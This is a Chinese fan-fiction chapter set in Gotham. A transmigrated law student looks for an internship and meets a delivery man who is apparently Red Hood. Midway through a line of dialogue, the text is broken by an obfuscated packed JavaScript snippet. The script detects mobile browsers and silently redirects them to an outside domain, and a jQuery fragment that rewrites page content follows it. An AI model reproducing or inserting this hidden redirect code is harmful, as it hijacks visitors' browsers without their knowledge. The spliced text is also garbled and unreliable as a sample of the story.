我醒了,看了一眼六点半的闹钟,又想睡过去。
我叫奥歌契·雷米提奥,是一名普通的哥谭大学犯罪学专业在读生。
如果你非得说我有什么特别的,那可能就是我父母双全,但是他们常年不着家。
先别急着去了解哥谭,我先说说我。
我的老妈在星辰实验室工作,我的老爸在大都会的莱克斯集团做一个普通小职员。
你说我为什么在哥谭?
当然是因为我是哥谭人,小子!
哥谭人的含金量谁不懂?
生在哥谭,死在哥谭。
至于为什么我的父母都在外地,这还要从韦恩集团说起。
你说你不懂韦恩?
没关系,韦恩就是哥谭的耶路撒冷,从出生到死亡,没有人不活在韦恩的庇护下。
这就是哥谭,这就是韦恩。
我的父母本来都是韦恩集团的员工,但是由于韦恩科研的顶头上司觉得我妈的能力出众,于是把她推荐到了星辰实验室,而我的老爸是被莱克斯集团的秘书挖过去的,也不知道看上他什么了?
老实吗?
莱克斯集团还缺这种人?
总言之,我一上大学,我的父母就离开了哥谭。
于是我一个哥谭本地人,竟然比那些外地来上大学的还想我妈。
我摸索着把眼镜带上。
虽然我已经保研了,但是还有毕业实习以及论文导师的事情要忙。
去健身房用了一下跑步机,照例打了几拳沙袋,我开始了苦逼的早餐生涯。
都说哥谭人杰地灵,大家的生存能力都很强,我怎么不觉得呢?
大学几年下来,我发现我的存款还是一个巨大 0,每个月都仰仗着我妈打给我的生活费过活,如果实验进入重要阶段,我妈会把我忘记,于是我就得去找我的老爸。
但是我的老爸又需要核对我有没有两头要钱。
我说我不是那种人。
我爸说,但他曾经是。
这不是遗传啊!我真没有两头要钱!
继续说回早饭。
看了一眼定位,小吃摊老师目前在哥谭大学的西门摆摊。
把我的帅气三七分造型梳好,背上书包就出发。
我还骑着老爸的旧单车,因为目前没钱买车。
小吃摊老师是一位早上摆摊,晚上送餐的神人。
我感觉她仿佛不需要睡觉,晚上睡觉前她还在群里给群友们送餐,早上起床,她已经开始摆摊了。
难怪人家能赚钱。
最火热的还是辣热狗,但是有常识的人都知道,早上吃太辣伤胃,哪怕这是红头罩同款。
我照例嗦了一碗过桥米线。
什么?
你在质疑我为什么这么奇怪?
我没有告诉过你,我是语C群里穿越过来的吗?
只是很倒霉,他们是穿过了没多久,我是真——胎穿。
所以你可以放肆的笑了,我确实从头到尾又上了一遍学。
今天没什么课,除了一节早十。
在图书馆码了一下作业,提前半个小时到了教室,发现这个教室有人上课,于是在隔壁坐下刷手机。
根据最近陆陆续续穿来的群友,我推测了一下,一周前是正式开始穿越大爆发的。
嗯,看起来大家的适应能力还不错,一周下来,已经陆陆续续的落户了。
我不太喜欢说话,在群里潜水下来,还是发现群友们各显神通。
……
不说了,走神太久,已经可以进教室了。
这节课是班主任的课程,他主要聊了一下实习的事情。
跟国内部分大学不同,哥谭大学要求的实习是自主实习,要我们自己找实习,而不是给我们分配。
嗯……我好像没有什么渠道找实习,要不问问老妈那边有没有韦恩的门路?
韦恩集团应该还有法务实习生的需求吧。
就是如此敲定下来,打算回去给我妈打电话,老师也开始絮絮叨叨的讲课,内容不算难,而且这种选修课洒洒水啦。
一边分心应和着老师的开拓式教学提问,一边敲敲打打打算把之前的结课作业在今天写完发给助教邮箱。
于是,一节课就很快过去了。
就在我伸懒腰打算去食堂饱餐一顿时,就看到了我的母上大人传来的噩耗。
“实验闭关,勿扰,有事留言,预计一个月后回复。”
不要啊——
这个月快结束了,可是下个月生活费还没有着落啊。
算了,去大都会实习也未尝不可,莱克斯集团的法务听起来也不错。
于是快马加鞭给老爸打电话。
“我在外太空,信号不太好。”
哈?
你说什么?
你在哪?
不是,莱克斯集团怎么还派文员去外太空啊。
行了,事已至此只有一条路了。
我打开韦恩集团的招聘网站,把自己零零碎碎的经历写了上去,打算谋取一份实习职务。
到这个时间点,我已经没有心思吃饭了。
草草点了份冰山餐厅的外送业务,就打算回家。
明天没课,但是我选定的论文指导老师有课,我打算下课去和他聊聊。
你问我选的老师是谁?
不是什么有名气的老师,但是为人和蔼可亲,所以很多同学都喜欢他,总之特别抢手。
不过因为不喜欢邮件联系,所以,优势在我。
冰山餐厅的外送业务很快,来送餐的还是那个熟悉的小哥,长得挺帅。
小哥看着我手上厚厚的包着书皮课本,打量了我一下。
然后突然凑近问我:“你学的是哪个专业啊?”
我后背一凉,支支吾吾:“就……文科生学的那个。”
小哥眼睛亮起来:“汉语言文学吗?我也喜欢!”
我声音发虚:“不是……”
“那肯定是金融咯?哈哈就业真的很不错!”
“也不是……”
“那哲学总对吧?”他兴致勃勃。
“不……”我死死盯着鞋尖,恨不得用眼神把地板烧出个洞。
“是社会学吗?这有什么不好意思的?”他歪头轻笑,“虽然新生刚学很艰难……”
“我不喜欢这些……”我喉结滚动,声音像卡了壳的子弹。
小哥沉默两秒,突然瞪大眼睛:“你该不会……在学英语吧?”
他关切的目光像探照灯打在我脸上,我浑身发抖,耳膜嗡嗡作响。
我死死掐住大腿,从牙缝里挤出蚊子般的颤音:“都……都不是!”
空气突然安静。
小哥笑容凝固,声音陡然降温:“那你——到底在学什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653191|172830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
专业?”
“文科生学的专业,还能有什么?”他的话像冰锥扎进心脏。
我膝盖一软跪倒在地,眼泪砸在地砖上:“我……我学的是法学……”
整条走廊瞬间死寂,只有我吸鼻涕的抽噎声在回荡。
公寓周围人投来怜悯的目光,仿佛看见有人举着3080显卡在网吧玩扫雷。
我死死捂住脸,指缝里渗出滚烫的羞耻。
小哥抓起我的外卖转身要走。
我哭喊着拽住他的大腿:“求你别走!我们法学真的很好的!”
围观人群爆发出嗤笑,我却抱得更紧:“不许笑我们法学!只会背法条又怎么样!我们法学几乎不需要能力,每天都在研究法律的本质、价值、逻辑体系,这可是至尊专业,一学就上头,日日夜夜不停歇,学得废寝忘食!我们专业就业率高!考公岗位多!还能去律所当法务!”
此刻远处传来保安的脚步声和一声叹息:“又是学法学的……”
小哥把大腿从我的怀抱里抽出来,递给我一张名片。
“行了,别号了,是这样,我们冰山餐厅还缺个法务,不知道你有没有兴趣。”
我一蹦三尺高,抓着小哥的手,仿佛是我的救命恩人。
“你真是个好人,原谅你说我们法学的坏话了。”
小哥嘴角抽搐:“只是面试。”
我一边抹着眼泪,一边接过名片,泪眼朦胧见,看到冰山餐厅后面写着两个简约而不简单的词语。
“Red Hood”。
哈?
我抬起头,打量了一下这个肌肉壮硕,虚怀若谷,眉眼舒展,器宇轩昂的小哥。
我凑近了一点。
小哥把我推远了一点。
我走近,小哥退后。
我再走近,小哥再退。
就这样,我把他逼到了墙边。
这时候我才发现,他比我高。
是的,我只有178,而他估计有180+。
“你……”我有些纠结的看着他。
小哥抱臂靠在墙上看着我,不,是俯视着我。
蓝绿色的瞳孔在午后阳光的照射下显得格外冷峻。
而他的额前有一缕不起眼的白色。
看起来桀骜不驯。
小哥眉头皱了起来。
“你多高。”我有些愤愤不平的看着他的刘海,“是不是你的头发比我高。”
他不耐烦的把外卖送到我的手上:“你的头发至少有三厘米,你目测不超过176。”
他在说什么!
我怎么可能……怎么可能只有175!
至少177,不能再少了!
我接过外卖,弹了弹名片:“我明天来面试可以吗?打这个电话?”
“明天没空,今天下午。”他有些烦躁的把我推开,“下午四点,到门口就报我的名字。”
“可是我不知道你的名字。”我感觉自己钝感十足,不是吧,不是吧,这个还真是……
“你不是有我的名片吗?”
我尖叫一声:“你把自己的脸露出来没关系吗?”
他掏出一把枪,在我的脸上拍了拍:“没关系,看过我真容的人都死了。”
我鞠躬行礼:“那太好了,看起来这不是您的真容,好的,老大,再见,老大,我们下午见。”
我直接哐上了房门。